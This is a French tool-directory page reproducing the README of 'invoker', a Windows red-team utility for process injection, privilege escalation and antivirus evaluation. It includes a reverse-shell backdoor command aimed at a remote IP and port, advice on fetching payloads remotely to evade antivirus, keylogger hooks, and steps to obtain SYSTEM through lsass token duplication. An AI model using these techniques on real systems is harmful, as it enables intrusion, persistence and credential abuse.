Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
invoker — Utilitaire de test d'intrusion et outil d'évaluation antivirus. | Kitploit
Outils/GitHubGitHub/ivan-sincek/invoker
Escalade de PrivilègesCriminalistique MémoireExploitationPost-ExploitationTests d'IntrusionAnalyse de BinairesApprentissage et ÉducationRed TeamingDéveloppement de Charges UtilesArchived
GitHubivan-sincek/invoker

invoker

Utilitaire de test d'intrusion et outil d'évaluation antivirus.

31282il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Invoker

Utilitaire de test de pénétration et outil d'évaluation antivirus.

Construit avec Visual Studio Community 2022 v17.5.4 (64 bits) et testé sur Windows 10 Entreprise OS (64 bits).

Conçu à des fins éducatives. J'espère que cela vous aidera !

Ce dépôt a commencé à avoir des signatures connues et je n'ai pas le temps de télécharger de nouveaux exécutables à chaque fois, donc vous devriez compiler ce projet vous-même.

Sites web utiles :

  • elastic.co
  • learn.microsoft.com
  • processhacker.sourceforge.io
  • undocumented.ntinternals.net
  • pinvoke.net

À faire :

  • rendre le process ghosting compatible avec l'architecture x86 car NtCreateProcessEx ne fonctionne pas bien avec les processus 32 bits.

Projets futurs :

  • process hollowing,
  • process doppelgänging,
  • process herpaderping,
  • process ghosting,
  • plus d'invocations de proxy DLL,
  • détournement COM,
  • script Python3 pour obscurcir statiquement tout le code source.

Choses que je garde à l'esprit en codant :

  • simplifier tout,
  • utiliser des allocations dynamiques au lieu d'allocations statiques, (parfois)
  • utiliser les droits d'accès et les drapeaux de contrôle minimum requis,
  • gérer/attraper les erreurs/exceptions possibles,
  • mettre à zéro et libérer les tableaux et la mémoire après utilisation,
  • fermer correctement les handles/flux ouverts après utilisation,
  • décrémenter le compteur de référence des bibliothèques, objets et similaires après utilisation,
  • appeler le nettoyeur de mémoire avant de quitter. (non applicable)

Tout ce qui précède fera que votre PE aura une taille plus petite et un taux de détection moindre.

Table of Contents

  • Invoker Library
  • How to Run
  • Bytecode Injection
  • Generate a Reverse Shell Payload
  • PowerShell
  • Direct System Calls
  • Make a DLL With a Hook Procedure
  • Get the LocalSystem Account (NT AUTHORITY\SYSTEM)
  • Images

Invoker Library

Fonctionnalités :

  • invoquer les shells système,
  • faire des appels système directs,
  • utiliser Windows Management Instrumentation (WMI),
  • se connecter à un hôte distant,
  • terminer un processus en cours,
  • exécuter un nouveau processus,
  • vider la mémoire d'un processus,
  • altérer l'image exécutable d'un processus,
  • injecter du bytecode dans un processus,
  • injecter une DLL dans un processus,
  • lister les DLL chargées d'un processus,
  • invoquer le détournement de DLL,
  • installer une procédure de hook,
  • activer les privilèges du jeton d'accès,
  • dupliquer le jeton d'accès d'un processus et exécuter un nouveau processus,
  • télécharger un fichier,
  • ajouter/modifier une clé de registre,
  • planifier une tâche,
  • lister les chemins de service sans guillemets et démarrer, arrêter ou redémarrer un service,
  • remplacer plusieurs fichiers System32.

Consultez la bibliothèque Invoker ici. N'hésitez pas à l'utiliser !


Certaines fonctionnalités peuvent nécessiter un privilège administratif.

Certaines fonctionnalités peuvent ne pas fonctionner sur Windows XP et versions antérieures en raison de certains droits d'accès et drapeaux de contrôle spécifiques utilisés.

How to Run

Exécutez Invoker_x86.exe (32 bits) ou Invoker_x64.exe (64 bits).

Pour automatiser la backdoor du reverse shell tout en ajoutant de la persistance, exécutez la commande suivante :

root@kitploit:~
Invoker_x64.exe 192.168.8.5:9000

Invoker 32 bits peut :

  • faire des appels système directs,
  • vider la mémoire d'un processus 32 bits,
  • altérer et injecter l'image exécutable d'un processus 32 bits dans un processus 32 bits,
  • altérer et injecter l'image exécutable d'un processus 64 bits dans un processus 64 bits,
  • injecter du bytecode 32 bits dans un processus 32 bits,
  • injecter une DLL 32 bits dans un processus 32 bits,
  • lister les DLL chargées d'un processus 32 bits,
  • installer une procédure de hook à partir d'une DLL 32 bits.

Invoker 64 bits peut :

  • faire des appels système directs,
  • vider la mémoire d'un processus 32 bits,
  • vider la mémoire d'un processus 64 bits,
  • altérer et injecter l'image exécutable d'un processus 32 bits dans un processus 32 bits,
  • altérer et injecter l'image exécutable d'un processus 64 bits dans un processus 64 bits,
  • injecter du bytecode 32 bits dans un processus 32 bits,
  • injecter du bytecode 64 bits dans un processus 64 bits,
  • injecter une DLL 32 bits dans un processus 32 bits,
  • injecter une DLL 64 bits dans un processus 64 bits,
  • lister les DLL chargées d'un processus 32 bits,
  • lister les DLL chargées d'un processus 64 bits.
  • installer une procédure de hook à partir d'une DLL 32 bits,
  • installer une procédure de hook à partir d'une DLL 64 bits.

Notez que chaque technique d'injection a ses avantages et inconvénients ; par exemple, certaines techniques nécessitent moins de droits d'accès, utilisent des méthodes moins suspectes, etc., mais peuvent par exemple planter le processus, nécessiter du temps et d'autres conditions spéciales pour exécuter la charge utile, etc.

Notez que certains implants C2C peuvent ne pas fonctionner après la libération de la mémoire. Dans ce cas, commentez les méthodes comme VirtualFreeEx, NtFreeVirtualMemory, etc.

Bytecode Injection

Élevez les privilèges en injectant du bytecode dans un processus à privilèges plus élevés.

Cet outil peut télécharger le contenu d'un fichier binaire en mémoire et l'injecter dans un processus en cours. Il peut également analyser une réponse HTTP et extraire la charge utile d'un élément personnalisé, par exemple de <invoker>payload</invoker> où payload est un code binaire encodé en Base64.

Consultez l'exemple sur pastebin.com/raw/xf9Trt0d.

Ceci est utile si l'antivirus supprime constamment vos charges utiles locales.

Consultez un exemple supplémentaire sur pastebin.com/raw/iW17rCxH - charge utile cachée dans l'élément image.

P.S. Les bytecodes fournis ne fonctionneront très probablement pas pour vous.

Utilisez ngrok pour donner à votre serveur web local une adresse publique.


Pour voir si un processus est 32 bits ou 64 bits, ouvrez le Gestionnaire des tâches -> cliquez sur Plus de détails -> allez dans l'onglet Détails -> faites un clic droit sur l'une des colonnes -> cliquez sur Sélectionner les colonnes -> cochez la case Plateforme.

Pour voir si un processus s'exécute avec un privilège administratif, cochez la case Élevé.

Generate a Reverse Shell Payload

Découvrez comment générer une charge utile de reverse shell à partir de mon autre projet, ainsi que comment configurer les écouteurs Ncat et multi/handler.

L'injection de bytecode peut échouer car le bytecode peut avoir des caractères incorrects, une mauvaise fonction de sortie ou un encodage ; l'injection de DLL est plus fiable.

PowerShell

Si vous souhaitez exécuter un reverse shell ou un bind shell PowerShell à partir de l'Invoker, ouvrez l'Invoker et démarrez une session PowerShell, puis exécutez l'un des one-liners (de mon autre projet).

Direct System Calls

La bibliothèque d'appels système directs et l'assembly ont été générés avec SysWhispers2. Crédits à l'auteur !

Pour générer la même bibliothèque et assembly, exécutez la commande suivante depuis votre console préférée :

root@kitploit:~
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

Consultez mon wrapper autour de la bibliothèque et de l'assembly ici. N'hésitez pas à l'utiliser !

Make a DLL With a Hook Procedure

Consultez la DLL simple avec une procédure de hook ici. La procédure de hook invoquera une boîte de message à chaque fermeture de fenêtre.

Consultez la procédure de hook clavier (c'est-à-dire keylogger) ici.

Consultez la procédure de hook souris qui exécutera un nouveau processus au premier clic de souris ici.

N'oubliez pas de supprimer tous les artefacts créés après avoir terminé les tests, par exemple supprimez keylogger.log, etc.

Get the LocalSystem Account (NT AUTHORITY\SYSTEM)

Suivez ces étapes simples :

  1. Exécutez l'Invoker en tant qu'administrateur.
  2. Activez tous les privilèges du jeton d'accès.
  3. Dupliquez le jeton d'accès, par exemple depuis le service Local Security Authority Subsystem Service (lsass.exe) et exécutez une nouvelle instance de l'Invoker.
  4. Dans la nouvelle instance de l'Invoker, ouvrez l'invite de commandes et exécutez whoami, vous devriez maintenant voir nt authority\system.
  5. Activez à nouveau tous les privilèges du jeton d'accès.
  6. Fermez l'ancienne instance de l'Invoker.

Images

Invoker

Figure 1 - Invoker

Injection de bytecode

Figure 2 - Injection de bytecode

Privilèges élevés

Figure 3 - Privilèges élevés

Télécharger l’outil